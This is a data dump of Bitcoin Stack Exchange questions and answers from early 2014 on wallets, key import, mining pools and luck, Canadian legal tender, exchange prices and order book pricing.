  <row Id="21600" PostTypeId="2" ParentId="19858" CreationDate="2014-02-03T14:01:25.583" Score="2" Body="&lt;p&gt;Huobi Market Data api (google translate)&#xA;&lt;a href=&quot;https://translate.googleusercontent.com/translate_c?act=url&amp;amp;depth=1&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;prev=_t&amp;amp;rurl=translate.google.com&amp;amp;sl=auto&amp;amp;tl=en&amp;amp;u=http://www.huobi.com/help/index.php%3Fa%3Dmarket_help&amp;amp;usg=ALkJrhiklnKqkg1JZM-VE37fNP7csWAEww&quot; rel=&quot;nofollow&quot;&gt;https://translate.googleusercontent.com/translate_c?act=url&amp;amp;depth=1&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;prev=_t&amp;amp;rurl=translate.google.com&amp;amp;sl=auto&amp;amp;tl=en&amp;amp;u=http://www.huobi.com/help/index.php%3Fa%3Dmarket_help&amp;amp;usg=ALkJrhiklnKqkg1JZM-VE37fNP7csWAEww&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13051" LastActivityDate="2014-02-03T14:01:25.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21601" PostTypeId="2" ParentId="21591" CreationDate="2014-02-03T14:58:46.820" Score="5" Body="&lt;p&gt;Since I don't know what wallet app on Android you're using, I'll give an answer that should work for any:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create an account at &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt;, you can import your private keys and then send them to an address on your Android wallet. This requires the private keys being in plain text. If your private key export is encrypted (with a password you gave it) or encoded in some non-obvious fashion, you'll need something to decode it before using this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's encrypted in a way that's compatible with the desktop Bitcoin-QT client, you can &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/324/how-can-i-restore-my-wallet&quot;&gt;reclaim it&lt;/a&gt; that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's encrypted some other way, you'll likely need to restore it to your Android phone and enter a password there to get access to your bitcoins. This would be specific to the app you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wallet&lt;/a&gt;, which seems to be the closest thing to an &quot;official&quot; Android client, choose &quot;Back up Keys&quot; from the menu (on my device, I press the Menu hardkey to open that), and then click &quot;Restore private keys&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-02-03T17:21:03.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21602" PostTypeId="2" ParentId="21598" CreationDate="2014-02-03T15:04:10.917" Score="0" Body="&lt;p&gt;Consider consolidating to one pool.  Pools have a payout time &quot;window&quot; for example, shares per 24 hours. So, the more shares per 24 hour windows mean a bigger slice of the BTC block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three pools, no usernames?  How are your miners ID'd in the pools' systems?  Pools usually require an account/username to ID your miners' work for payouts, unless you're using P2Pool, then it's just your payout addy.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My first idea is, unless you're using one of the BIG FIVE pools, you only get a payout once a block is found in that pool.  BTCGuild, DiscusFish, Eligius, GHashIO, Slush...those see 5-20 blocks a day.  Other pools see much fewer, so don't expect any constant payout unless you're in one of the BIG FIVE.&lt;/li&gt;&#xA;&lt;li&gt;My second idea is difficulty.  2.2+ billion difficulty is rough on a mining chap, and luck plays a big part when mining (many don't tell you that).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12286" LastEditorUserId="11369" LastEditDate="2014-02-04T07:28:58.393" LastActivityDate="2014-02-04T07:28:58.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21604" PostTypeId="1" AcceptedAnswerId="21624" CreationDate="2014-02-03T16:26:04.510" Score="6" ViewCount="148" Body="&lt;p&gt;I've been reading a lot that Canada no longer considers bitcoin legal tender.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Only Canadian bank notes and coins are recognized as legal tender in&#xA;  Canada. Bitcoin digital ‘currency’ is not legal tender in Canada,” an&#xA;  official from Canada’s finance department said in an emailed&#xA;  statement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can be read in all of these places:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.wsj.com/canadarealtime/2014/01/16/canada-says-bitcoin-isnt-legal-tender/?KEYWORDS=bitcoin&quot;&gt;Canada Real Time&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://memeburn.com/2014/01/canada-says-no-to-bitcoin-as-legal-tender/&quot;&gt;Memeburn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.wsj.com/economics/tag/bitcoin/&quot;&gt;The Wall Street Journal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;among others. However, not a single one that I can find sites the source document. They all just seem to refer to each other. &lt;strong&gt;Does anyone have a copy of the email or government source document stating this?&lt;/strong&gt; I'll also accept proof that the document never existed as a valid answer.   &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-02-03T22:19:23.263" Title="Official Canadian source saying bitcoin is not legal tender?" Tags="|legal|canada|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21608" PostTypeId="1" CreationDate="2014-02-03T17:15:19.203" Score="3" ViewCount="107" Body="&lt;p&gt;As of today, it is observed that up to 6 confirmations are needed in most of the places to verify that the transaction is complete. Assuming that it takes 10 mins for one confirmation, it takes up to 1 hour for 6 confirmation. This is really long time. People want real time transactions and would be reluctant to wait for such a long time. Can it become blocker for bitcoin adoption?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-03-09T15:02:28.587" Title="Can long time taken for confirmations become blocker for bitcoin adopotion?" Tags="|confirmations|" AnswerCount="2" CommentCount="2" ClosedDate="2014-03-21T12:12:35.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="21609" PostTypeId="1" AcceptedAnswerId="21611" CreationDate="2014-02-03T17:36:30.653" Score="2" ViewCount="810" Body="&lt;p&gt;So I've read that a wallet is basically a public address key paired with a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is it more than that?   Does the physical wallet file contain transaction and balance information as well or does that get pulled from the cloud?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's assume I have just the public and private keys written down on a piece of paper...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I import those keys into a wallet client, will the wallet client download my balance and transaction history associated with my address from the cloud?&lt;/p&gt;&#xA;" OwnerUserId="13056" LastEditorUserId="132" LastEditDate="2014-02-06T16:46:43.830" LastActivityDate="2014-02-06T16:46:43.830" Title="What is the difference between a wallet and paired keys?" Tags="|wallet|blockchain|client|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-10T10:14:15.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="21610" PostTypeId="1" CreationDate="2014-02-03T18:08:23.663" Score="1" ViewCount="245" Body="&lt;p&gt;I'm trying to find the current value of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to MtGox the ticker at the top says the average price is about $950 but at CoinDesk.com the daily high, low etc are all $100 cheaper...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are in USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CoinDesk seems to be the accurate one but why are the MtGox values so much higher?&lt;/p&gt;&#xA;" OwnerUserId="13056" LastActivityDate="2014-02-04T23:41:04.913" Title="Confusion over BTC value - MtGox vs CoinDesk" Tags="|mtgox|value|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-07T19:46:34.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="21611" PostTypeId="2" ParentId="21609" CreationDate="2014-02-03T18:16:05.617" Score="2" Body="&lt;p&gt;Yes. The cloud you're referring to is actually the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt;. A bitcoin wallet has various different meanings, such as web-wallet, brain wallet, or various others, but in my opinion the best representation of a wallet is actually a file, commonly a &lt;code&gt;wallet.dat&lt;/code&gt; file. Then you use a &lt;em&gt;bitcoin client&lt;/em&gt; to open this wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside this file there's various key pairs that you can use to make bitcoins transactions. No balance information is kept in this file otherwise it would be extremely large in size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part is that a bitcoin wallet's format is not standardized. This means that each bitcoin client implements its own wallet file format. You can't import Bitcoin-QT's wallet file in Multibit for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, a wallet can be represented in a variety of different ways: as files, on the web managed by third parties, as a piece of paper, etc.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-03T18:16:05.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21612" PostTypeId="1" CreationDate="2014-02-03T18:35:43.303" Score="0" ViewCount="209" Body="&lt;p&gt;I have created 10K addresses with vanitygen to deal out for transactions, Now how do I watch all those addresses for transactions and balance?&lt;/p&gt;&#xA;" OwnerUserId="12596" LastActivityDate="2014-02-04T13:29:25.097" Title="How to monitor large number of public addresses" Tags="|address|vanity-address|" AnswerCount="1" CommentCount="3" ClosedDate="2014-02-10T00:47:40.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="21613" PostTypeId="1" CreationDate="2014-02-03T18:44:28.493" Score="3" ViewCount="855" Body="&lt;p&gt;There are two similar question on the site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/696/4276&quot;&gt;Is there data on the geographic distribution of bitcoin users?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/21020/4276&quot;&gt;I am eager to know details about distribution of bitcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first is asking where the users of Bitcoin are located. The second is asking about percentage distributions among those users. Interesting data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is the geographic distribution of the bitcoins themselves. For example, what percentage of the bitcoin supply is held by North Americans (or North American companies)?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2019-09-10T00:34:37.557" Title="Are there estimates on the geographical distribution of the bitcoin supply?" Tags="|money-supply|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21614" PostTypeId="2" ParentId="21610" CreationDate="2014-02-03T18:57:37.693" Score="1" Body="&lt;p&gt;MtGox is an exchange: people trade Bitcoin for USD there. The value they report is what the exchange rate is on MtGox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinDesk calculates its &lt;a href=&quot;http://www.coindesk.com/price/bitcoin-price-index/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Price Index&lt;/a&gt; based on a number of factors, including MtGox's price, and the prices on other exchanges. This appears to be a much better indicator of the true market value than MtGox's exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wonder, if the price difference is so large, why don't people buy on one and sell on the other to make a profit? People do, in something called &lt;a href=&quot;https://en.wikipedia.org/wiki/Arbitrage&quot; rel=&quot;nofollow&quot;&gt;arbitrage trading&lt;/a&gt;, but how close this will bring the markets depends on the overall costs of the transactions (fees, etc.). Since getting USD out of MtGox is not easy (or even possible?) at the moment, the gap can be quite large.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-03T19:02:45.037" LastActivityDate="2014-02-03T19:02:45.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21616" PostTypeId="2" ParentId="21613" CreationDate="2014-02-03T19:44:53.190" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://fiatleak.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fiatleak.com/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool supposedly gets data from &quot;Mt. Gox, Bitstamp and BTC China to show you which countries and which currencies are moving in and out of bitcoin in real time.&quot;  I'm assuming it's just Mt. Gox and Bitstamp now and possibly others.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;a href=&quot;http://www.zerohedge.com/news/2013-11-11/meet-fiatleakcom-%E2%80%93-real-time-map-bitcoin-transactions-country&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.zerohedge.com/news/2013-11-11/meet-fiatleakcom-%E2%80%93-real-time-map-bitcoin-transactions-country&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;UPDATE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As of September 2019, the exchanges from which the data seem to come are listed under &quot;exchange&quot; in the bottom left of the tool. Perhaps take it with a grain of salt, as there's some obvious errors, such as gdax still being listed along with coinbase pro. Gdax was rebranded as coinbase pro about two years ago. The listed exchanges are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitfinex&lt;/li&gt;&#xA;&lt;li&gt;bitflyer&lt;/li&gt;&#xA;&lt;li&gt;bitmex&lt;/li&gt;&#xA;&lt;li&gt;bitstamp&lt;/li&gt;&#xA;&lt;li&gt;bittrex&lt;/li&gt;&#xA;&lt;li&gt;cex.io&lt;/li&gt;&#xA;&lt;li&gt;coinbase pro&lt;/li&gt;&#xA;&lt;li&gt;exmo&lt;/li&gt;&#xA;&lt;li&gt;gdax&lt;/li&gt;&#xA;&lt;li&gt;gemini&lt;/li&gt;&#xA;&lt;li&gt;itbit&lt;/li&gt;&#xA;&lt;li&gt;kraken&lt;/li&gt;&#xA;&lt;li&gt;livecoin&lt;/li&gt;&#xA;&lt;li&gt;neraex&lt;/li&gt;&#xA;&lt;li&gt;quoine&lt;/li&gt;&#xA;&lt;li&gt;yobit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13053" LastEditorDisplayName="user4276" LastEditDate="2019-09-10T00:34:37.557" LastActivityDate="2019-09-10T00:34:37.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21617" PostTypeId="2" ParentId="21608" CreationDate="2014-02-03T19:50:54.673" Score="0" Body="&lt;p&gt;To answer the question today, It really depends on the confidence level of Bitcoin's image in the business' eyes.  To answer the question for the future, it's very possible that &quot;things&quot; built on top of the Bitcoin network will help solve this problem.  Not necessary reduce the time it takes to get confirmations but instead to minimize the risk of NOT waiting for 6 confirmations.  If you think about it with credit cards, businesses today completely ignore the risk with credit card charge backs and simply ship items as soon as the buyer has paid even though the buyer can issue a charge back days after the purchase.&lt;/p&gt;&#xA;" OwnerUserId="13053" LastActivityDate="2014-02-03T19:50:54.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21619" PostTypeId="2" ParentId="21524" CreationDate="2014-02-03T21:23:48.910" Score="1" Body="&lt;p&gt;There is nothing illegal in the process of mining litecoins or bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as cryptocurrnecies concern, you should be worried about &quot;money transmition&quot; and &quot;money laundering&quot;. If you do not hold other people's coins you are not breaking any laws.&lt;/p&gt;&#xA;" OwnerUserId="13066" LastActivityDate="2014-02-03T21:23:48.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21620" PostTypeId="2" ParentId="21185" CreationDate="2014-02-03T21:27:50.960" Score="0" Body="&lt;p&gt;I had been thinking about this lately and haven't explored this option at ALL but I'm thinking out loud here because nobody has replied in 8 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what if you took the average of the top orders 1 - 5, then the average of the top orders 2 - 6, the average of 3 - 7, ect. Out of THOSE orders you then calculated the average again to arrive at your sell point? The process could be repeated as nessecary to find an average of averages that hover around the top of the buy points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="13068" LastActivityDate="2014-02-03T21:27:50.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21622" PostTypeId="2" ParentId="21185" CreationDate="2014-02-03T21:50:21.823" Score="0" Body="&lt;p&gt;It took quite a bit of thinking, but here is how you arrive at a &quot;buy instantly&quot; or &quot;sell instantly&quot; price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have buy orders:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;buy 100LTC at 5BTC&lt;/li&gt;&#xA;&lt;li&gt;buy 50LTC at 4BTC&lt;/li&gt;&#xA;&lt;li&gt;buy 200LTC at 3BTC&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And sell orders:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;sell 100LTC at 6BTC&lt;/li&gt;&#xA;&lt;li&gt;sell 500LTC at 7BTC&lt;/li&gt;&#xA;&lt;li&gt;sell 100LTC at 8BTC&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can gain a lot from this simple set of orders. For one, the market depth chart becomes very useful when looking at this data. So, you could say that the market spread is 1BTC in this case, because buy and sell orders are separated by 1BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, lets say we have 125LTC we want to sell. The way you would pick the best sell instant price is to look at the buy orders. Looks like you could sell your first 100LTC at 5BTC and the remaining 25LTC at 4BTC. So, 5BTC should be your max rate. Depending on the API you are using, you might want to place two separate orders at different prices or place one with the max price assumed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works the same way with buying. IF you want to buy 650LTC, you would be able to buy the first 100LTC at 6BTC, and then the next 500LTC at 7BTC and the last 50LTC at 8BTC. So, your max price would be 8BTC. Although your actual price would vary quite a lot. It depends on what service and API you're using as to how to best place such an order spanning prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cryptsy you would place such a buy order as just one order of 650LTC at 8BTC. Crypsty automatically chooses the best price for you, so you would have this effect. However, it's not guaranteed to work this way. If you got the order list, and someone was to buy up 50BTC at 6BTC, then your expected price would end up being wrong. If you want a price guarantee, you should place exact matching orders to the order book. Following this method though, you have a high likelyhood of an order not completing as well, or taking longer than expected, such as if you buy 100LTC at 6BTC, but someone bought 50LTC already. Crypsty by default would wait a while before completing the partial order. (assuming no other sell orders were placed at that price) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's actually a really simple concept, but it took me a few days to actually wrap my head around it for some reason. Hopefully if other people have the same problem, maybe this post will clear things up for them&lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2014-02-03T21:50:21.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21623" PostTypeId="2" ParentId="21421" CreationDate="2014-02-03T22:09:02.493" Score="2" Body="&lt;p&gt;The only downside to more connections is increased bandwidth usage and slightly more CPU usage. Here, it's estimated that 2000 transactions per second is 7.8 megabits/second (average residential connect speed) and Bitcoin operates at the most at 7 TPS currently so you're in the clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why you should connect to more nodes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more nodes you are connected to the more up to date you will be on network status and vice-versa. If the network comes up with a new block, you will be one of the first few notified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mining pool comes up with a block, you will want to push your block out to the network as fast and spread as possible. You want as many nodes to know about your new and valid block as possible. Of course a new block incurs a domino effect with nodes, one node that knows of your block will tell other nodes about it. You can reach all nodes faster if you notify many nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do I need nodes to know about my block?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is a competition, you are competing against a massive amount of other players who all are probably hashing faster than you. It's very likely that they will also find a block in the time you do, this happens often. But only 1 block can be accept, and block acceptance is based on network majority. If you mine a valid block at the exact same time as another miner, and you can get a good majority of nodes your block, you will get the reward. The other block turns into an &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5859/what-are-orphaned-and-stale-blocks&quot;&gt;orphaned block&lt;/a&gt; and the miner who mined it loses all profit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's suggested you connect to as many large node as possible, you don't have to necessarily connect to smaller nodes as large nodes will rebroadcast your block to many small nodes. You may see some increased bandwidth usage but it's negligible considering what kind of connections servers tend to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Concerning transactions fees&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connecting to more nodes will net you more transactions to put into blocks, but it really won't be much. The 10 minute block time Bitcoin has means your node will have ample time to put together enough transactions for profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 peer connections is not a lot and may mean &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2378/bitcoind-how-can-i-get-the-number-of-peers-to-exceed-eight&quot;&gt;you aren't receiving any inbound traffic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-02-03T22:09:02.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21624" PostTypeId="2" ParentId="21604" CreationDate="2014-02-03T22:19:23.263" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://laws-lois.justice.gc.ca/eng/acts/c-52/page-1.html&quot; rel=&quot;nofollow&quot;&gt;Currency Act&lt;/a&gt; defines what is meant by &lt;em&gt;legal tender&lt;/em&gt; in Canada:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Legal tender&#xA;&#xA;8. (1) Subject to this section, a tender of payment of money is a legal tender if it is made&#xA;(a) in coins that are current under section 7; and&#xA;(b) in notes issued by the Bank of Canada pursuant to the Bank of Canada Act intended for &#xA;circulation in Canada.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since these are the only two forms of payment considered &lt;em&gt;legal tender&lt;/em&gt;, and bitcoins are quite clearly neither of these, the conclusion must be that bitcoins are not legal tender in Canada. Note that the Act doesn't explicitly have to name Bitcoin for this conclusion to nevertheless be true.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-03T22:19:23.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21625" PostTypeId="2" ParentId="21573" CreationDate="2014-02-04T00:07:29.710" Score="0" Body="&lt;p&gt;Bitcoin balances are associated with addresses, but they are packaged in &quot;outputs&quot;. The set of all spendable balances is called the &lt;em&gt;Unspent Transaction Output Set (UTXO set)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each transaction creates a new &lt;em&gt;transaction output&lt;/em&gt; for every recipient that it sends money to. When several payments are sent to the same address, this address will accumulate several distinct transaction outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you spend bitcoins, your transaction explicitly references which outputs created by previous transactions it spends. Outputs are used up completely when they are spent. This is why transactions need to return change to yourself for the leftover input amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the same address could appear more than once on the input side, or if someone is being creative even on the receiving side.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-05-09T18:14:15.303" LastActivityDate="2020-05-09T18:14:15.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21626" PostTypeId="2" ParentId="20635" CreationDate="2014-02-04T00:12:53.300" Score="0" Body="&lt;p&gt;I'm not sure about the market depth before, but at the moment it seems like only one entity is making the market:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cryptocoincharts.info/v2/pair/42/btc/cryptsy/alltime&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptocoincharts.info/v2/pair/42/btc/cryptsy/alltime&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the amount at each price at the bid and offers.&lt;/p&gt;&#xA;" OwnerUserId="13069" LastActivityDate="2014-02-04T00:12:53.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21627" PostTypeId="2" ParentId="21598" CreationDate="2014-02-04T00:23:33.653" Score="0" Body="&lt;p&gt;The reason you aren't getting any Bitcoins is most likely because of 3 factors.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It was a streak of unluckiness&lt;/li&gt;&#xA;&lt;li&gt;Difficulty has adjusted and taken a big jump up.&lt;/li&gt;&#xA;&lt;li&gt;You are poorly connected to the network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unluckiness&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be because of general unluckiness because mining is not 100% guaranteed. It's akin to playing the lottery, sure you can buy up all tickets but you can never fully buy it out. Your chance per block reward is determined by this simple mathematical operation &lt;code&gt;your-hashrate / network-hashrate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Difficulty change&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be because of difficulty jumping up, Bitcoin adjusts difficulty every 2016 blocks. At the time of writing, &lt;a href=&quot;http://bitcoinclock.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinclock.com&lt;/a&gt; is showing that last difficulty change was 1787 blocks ago. Difficulty changes try to maintain a 2 week interval time so last change was maybe about a week and half ago. May not be that difficulty creeped up on you if what you said happened recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering switching to a pool, it's your choice but you've got a large enough hash power that it may actually be a lot more profitable for you solo mine. On pools you get hit with fees and other drama. Luck is a big factor in mining, but over a long span of time (maybe a month for you), the amount of profit you make will even out probabilistically and should expect similar profit from pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Poor connection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a more hidden problem that can rarely occur. You may just not be connecting to enough nodes. Your propagation suffers with low node count and that means you will have a lot of orphaned blocks. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8109/how-does-one-attain-1-000-connections-like-blockchain-info&quot;&gt;By default Bitcoin does not make more than 8 connections.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-02-04T00:23:33.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21628" PostTypeId="2" ParentId="20635" CreationDate="2014-02-04T00:27:29.823" Score="3" Body="&lt;p&gt;A better measure is what the market cap of a cryptocoin is. E.g. if there are a billion coins worth 1 cent each, you've got $10M worth of coins. On the other hand, if there are 10 coins worth $10,000 each, you've got $100,000 worth of coins. It's easy to see that the former Coin is worth far more than the latter, even though the price per coin is very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even though 42 Coin &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;easily takes the cake&lt;/a&gt; on the &quot;price per coin&quot; list, it has such an insignificant market cap that it's really not an important coin.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-04T00:27:29.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21629" PostTypeId="1" CreationDate="2014-02-04T03:16:24.887" Score="2" ViewCount="460" Body="&lt;p&gt;On my website, I want to be able to verify that messages are signed by a certain bitcoin address, similar to how it's done &lt;a href=&quot;http://brainwallet.org/#verify&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. From my research it seems I have to use JSON RPC with some sort of verify_message(signature, message, addrtype) function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the only method for doing this? And if so, does this require me to install bitcoind or armory on my web server?&lt;/p&gt;&#xA;" OwnerUserId="13075" LastActivityDate="2014-04-05T12:46:51.687" Title="How to verify signed bitcoin messages on my own website?" Tags="|json-rpc|message-signing|message-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21630" PostTypeId="2" ParentId="21444" CreationDate="2014-02-04T03:18:09.733" Score="1" Body="&lt;p&gt;I think your main issue is that your hash rate (speed, essentially) is extremely low. You're averaging about 3Kh/s. For comparison, most mid-range miners are running around 5-600Kh/s, and if you run a mining tool on your Google Nexus 7 tablet or Nexus 4 cell phone you can get around 2Kh/s which is very close to what you're getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't really help you with this without knowing what kind of hardware you have that you're trying to run this on, but take your video card model and search google for &quot;cgminer settings&quot; with your model after that to see what you can find.&lt;/p&gt;&#xA;" OwnerUserId="13076" LastActivityDate="2014-02-04T03:18:09.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
